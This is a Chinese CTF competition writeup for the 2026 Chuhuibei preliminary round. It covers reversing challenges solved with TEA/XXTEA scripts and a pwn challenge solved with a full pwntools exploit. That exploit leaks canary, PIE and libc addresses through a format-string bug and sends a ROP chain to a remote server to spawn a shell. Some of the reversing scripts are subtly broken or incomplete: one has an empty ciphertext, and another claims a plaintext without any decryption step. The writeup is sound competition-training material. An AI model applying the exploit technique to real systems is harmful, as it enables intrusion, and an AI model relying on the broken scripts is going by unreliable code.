2026第十届“楚慧杯”湖北省网络与数据安全实践能力竞赛初赛Writeup

admin 2026-03-18 20:24:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档为2026年楚慧杯省赛初赛Writeup。WEB方向涵盖PHP命令执行绕过、整数溢出结合SSRF与SSTI利用、SQL注入与MD5扩展攻击及路径穿越。Crypto方向针对DSA签名Nonce缺陷实施格攻击。文章提供完整漏洞分析、利用脚本及解题步骤,展示多种Web漏洞组合利用技巧与密码学实战方法,具有较高技术价值。 综合评分: 90 文章分类: CTF,WEB安全,漏洞分析,漏洞POC


因为 TEA 输入和 key 都是固定的,所以直接写脚本模拟 32 轮即可

def tea_encrypt():    v0 = 0x18274A3A    v1 = 0x24F8D42F    k = [0x9C8793BF, 0xBB5C1044, 0x2FEA4F74, 0xA142ED8B]    delta = 0xDEADBEEF    sum_ = 0
&nbsp; &nbsp;&nbsp;for&nbsp;_ in range(32):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sum_&nbsp;= (sum_ + delta) &&nbsp;0xffffffff&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;v0&nbsp;= (v0 + (((v1 <<&nbsp;4) + k[0]) ^ (v1 + sum_) ^ ((v1 >>&nbsp;5) + k[1]))) &&nbsp;0xffffffff&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;v1&nbsp;= (v1 - (((v0 <<&nbsp;4) + k[2]) ^ (v0 + sum_) ^ ((v0 >>&nbsp;5) + k[3]))) &&nbsp;0xffffffff
&nbsp; &nbsp;&nbsp;return&nbsp;v0, v1

直接写解密脚本:

import&nbsp;struct
def&nbsp;tea_encrypt():&nbsp; &nbsp; v0 =&nbsp;0x18274A3A&nbsp; &nbsp; v1 =&nbsp;0x24F8D42F&nbsp; &nbsp; k = [0x9C8793BF,&nbsp;0xBB5C1044,&nbsp;0x2FEA4F74,&nbsp;0xA142ED8B]&nbsp; &nbsp; delta =&nbsp;0xDEADBEEF&nbsp; &nbsp; sum_ =&nbsp;0
&nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(32):&nbsp; &nbsp; &nbsp; &nbsp; sum_ = (sum_ + delta) &&nbsp;0xffffffff&nbsp; &nbsp; &nbsp; &nbsp; v0 = (v0 + (((v1 <<&nbsp;4) + k[0]) ^ (v1 + sum_) ^ ((v1 >>&nbsp;5) + k[1]))) &&nbsp;0xffffffff&nbsp; &nbsp; &nbsp; &nbsp; v1 = (v1 - (((v0 <<&nbsp;4) + k[2]) ^ (v0 + sum_) ^ ((v0 >>&nbsp;5) + k[3]))) &&nbsp;0xffffffff
&nbsp; &nbsp;&nbsp;return&nbsp;v0, v1
# TEA 输出转 8 字节v0, v1 = tea_encrypt()tea_bytes = struct.pack("<II", v0, v1) &nbsp;&nbsp;# 按小端拆分,和程序一致
# 程序中的 40 字节硬编码密文(这里替换成你在 IDA 里抄出的那组字节)target =&nbsp;bytes([&nbsp; &nbsp;&nbsp;# 把程序里的 40 字节密文填进来])
# 逆向 XORflag =&nbsp;bytearray()for&nbsp;i&nbsp;in&nbsp;range(len(target)):&nbsp; &nbsp; key_byte = (tea_bytes[i %&nbsp;8] +&nbsp;0x1B) &&nbsp;0xFF&nbsp; &nbsp; flag.append(target[i] ^ key_byte)
print(flag.decode())#DASCTF{64d5de2b4bb3b3f90bb3af2ee6fe72cf}

Re-eazy_code:

拿到附件后先使用 IDA / Ghidra 打开程序进行分析。

程序逻辑非常简单:程序读取用户输入字符串。将输入字符串按 4字节分组。对数据执行一段 加密运算。最终结果与程序内置的数组进行比较。如果加密结果一致,则输出 Correct

程序中的目标数组为:

ans = {1374278842,2136006540,4191056815,3248881376};

这些数值就是加密后的结果。在函数中可以看到典型特征:

sum&nbsp;+= delta;v0&nbsp;+= ((v1 <<&nbsp;4) + k0)&nbsp;^&nbsp;(v1 + sum)&nbsp;^&nbsp;((v1 >>&nbsp;5) + k1);v1&nbsp;+= ((v0 <<&nbsp;4) + k2)&nbsp;^&nbsp;(v0 + sum)&nbsp;^&nbsp;((v0 >>&nbsp;5) + k3);

这段结构非常典型,是 TEA / XXTEA 加密算法 的特征。

题目中使用的是 简化版 XXTEA,并且是: 32轮运算   固定 key

由于程序是 加密后再比较,所以只需要 逆运算即可恢复原字符串

将 ans 数组作为密文输入,通过 XXTEA 解密 即可得到原始数据。

编写简单 Python 脚本进行解密:

import&nbsp;struct
ans = [1374278842,2136006540,4191056815,3248881376]
# 转换为字节data = b''.join(struct.pack('<I', i)&nbsp;for&nbsp;i&nbsp;in&nbsp;ans)
print(data)## yOUar3g0oD@tPw5H

Pwn-house_1:

题目内容:Can you get a proper house

保护全开,change操作中存在格式化字符串漏洞,

可以直接泄露 libc,pie,canary

edit有一个read,长度 0x20,可被格串写。

因此直接printf泄露一系列地址,改大nbytes,然后栈溢出写rop链即可。

#!/usr/bin/env python3from&nbsp;pwn&nbsp;import&nbsp;*import&nbsp;recontext(log_level='debug',arch='amd64')libc = ELF('./libc.so.6')def&nbsp;choose(io, n):&nbsp; &nbsp; io.recvuntil(b'>> ')&nbsp; &nbsp; io.sendline(str(n).encode())def&nbsp;change(io, payload):&nbsp; &nbsp; choose(io,&nbsp;2)&nbsp; &nbsp; io.recvuntil(b'Please write your name:\n')&nbsp; &nbsp; io.send(payload)&nbsp; &nbsp; io.recvuntil(b'the name is:\n')&nbsp; &nbsp;&nbsp;return&nbsp;io.recvline().strip()io = remote('45.40.247.139',31268)leak = change(io,&nbsp;b'%13$p-%8$p-%1$p\n').split(b'-')canary =&nbsp;int(leak[0],&nbsp;16)pie =&nbsp;int(leak[1],&nbsp;16) -&nbsp;0x14A0libc.address =&nbsp;int(leak[2],&nbsp;16) -&nbsp;0x1ED723change(io,&nbsp;b'%768c%10$hn'.ljust(0x20,&nbsp;b'A') + p64(pie+0x4010))rop = ROP(libc)pop_rdi = rop.find_gadget(['pop rdi',&nbsp;'ret'])[0]binsh =&nbsp;next(libc.search(b'/bin/sh\x00'))choose(io,&nbsp;3)io.recvuntil(b'Please write your content\n')payload =&nbsp;b'A'&nbsp;*&nbsp;0x48&nbsp;+ p64(canary) +&nbsp;b'A'&nbsp;*&nbsp;8&nbsp;+ flat(pop_rdi+1, pop_rdi, binsh, libc.sym.system)io.send(payload)io.interactive()


排版偏手机观看,手机看效果体验更好哦!

需要交流或者培训可以联系小编加群交流!

2025第二届全国行业赛-电子取证师需要资源dd

初赛培训班10+学员全部晋级复赛,可以指导!

此次2025行业赛圆满结束!

需要备战2027第三届网络安全行业赛-电子取证赛道的可以联系小编.适合取证感兴趣的小伙伴,0基础也能学。

        PS:第二届甘肃技能大赛通知-真题辅导需要可以联系!


数据安全/信息安全评估赛项星球

第二届数字化职工组/数据安全技能大赛(备战第三届可以培训)

第四届全国数据安全职业技能竞赛(美亚数据安全管理员/可培训)

知识星球599/年(后续有最新资源可能涨价,购买前私信小编!)

关注我们

欢迎关注鱼影安全社区,专注CTF,职业技能大赛中高职技能培训,信息安全评估高职组赛项,金砖一带一路诸暨技能大赛:企业信息安全赛道-攻防治理赛道-首届金砖虚拟网络建设赛道-创信大赛,世界技能大赛省选拔赛,企业赛,行业赛,电子取证和CTF系列培训,工控CTF系列,第二届网络安全行业职业技能大赛(电子取证师、渗透测试员、网络安全管理员、网络信息审核员)等。

鱼影安全团队招人啦,有感兴趣的师傅可以私信我

需要学习数据安全管理员和CTF安全培训,可以联系小编!

点分享

点收藏

点在看

点点赞


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:鱼影安全 落寞的鱼 落寞的鱼《2026第十届“楚慧杯”湖北省网络与数据安全实践能力竞赛初赛Writeup》

    评论:0   参与:  0